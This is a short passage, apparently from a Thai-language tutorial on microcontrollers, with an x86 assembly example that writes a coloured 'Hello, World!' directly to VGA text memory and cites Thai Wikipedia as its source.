และใช้ MCU หลาย ๆ ตัวช่วยกันทำงาน หรืออาจจะออกแบบให้ทำงานร่วมกับเครื่อง PC หรือถ้ายังไม่ไหว
ก็เปลี่ยนไปใช้ MCU ที่มีขนาดใหญ่ ๆ ตามไปด้วยเลยจะดีกว่า ...

ตัวอย่างโค้ดโปรแกรม

org 100h
; set video mode    
mov ax, 3     ; text mode 80x25, 16 colors, 8 pages (ah=0, al=3)
int 10h       ; do it!
; cancel blinking and enable all 16 colors:
mov ax, 1003h
mov bx, 0
int 10h
; set segment register:
mov     ax, 0b800h
mov     ds, ax
; print "hello world"
; first byte is ascii code, second byte is color code.
mov [02h], 'H'
mov [04h], 'e'
mov [06h], 'l'
mov [08h], 'l'
mov [0ah], 'o'
mov [0ch], ','
mov [0eh], 'W'
mov [10h], 'o'
mov [12h], 'r'
mov [14h], 'l'
mov [16h], 'd'
mov [18h], '!'
; color all characters:
mov cx, 12  ; number of characters.
mov di, 03h ; start from byte after 'h'
c:  mov [di], 11101100b   ; light red (1100) on yellow (1110)
    add di, 2 ; skip over next ascii code in vga memory.
    loop c
; wait for any key press:
mov ah, 0
int 16h
ret

ที่มา : http://th.wikipedia.org/